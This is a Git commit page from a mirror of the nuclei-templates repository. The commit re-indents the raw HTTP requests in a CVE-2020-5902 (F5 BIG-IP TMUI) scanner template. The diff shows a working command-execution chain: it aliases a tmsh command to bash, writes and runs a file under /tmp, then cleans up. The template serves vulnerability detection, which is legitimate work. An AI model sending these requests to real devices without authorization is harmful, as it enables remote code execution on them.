daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

📝 Fix indentation on RAW requests

patch-1
dw1 2020-07-06 18:28:20 +07:00
parent f4da7bec43
commit 2479e51afb
1 changed files with 24 additions and 24 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

48
cves/CVE-2020-5902.yaml
View File

@ -24,34 +24,34 @@ requests:
condition: or condition: or
part: body part: body
- raw: - raw:
- | - |
POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1 POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
Connection: close Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
command={{url_encode("create cli alias private list command bash")}} command={{url_encode("create cli alias private list command bash")}}
- | - |
POST /tmui/locallb/workspace/fileSave.jsp HTTP/1.1 POST /tmui/locallb/workspace/fileSave.jsp HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
Connection: close Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
fileName={{url_encode("/tmp/nonexistent")}}&content={{url_encode("echo 'aDNsbDBfdzBSbGQK' | base64 -d")}} fileName={{url_encode("/tmp/nonexistent")}}&content={{url_encode("echo 'aDNsbDBfdzBSbGQK' | base64 -d")}}
- | - |
POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1 POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
Connection: close Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
command={{url_encode("list /tmp/nonexistent")}} command={{url_encode("list /tmp/nonexistent")}}
- | - |
POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1 POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
Connection: close Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
command={{url_encode("delete cli alias private list")}} command={{url_encode("delete cli alias private list")}}
matchers-condition: and matchers-condition: and
matchers: matchers:
- type: status - type: status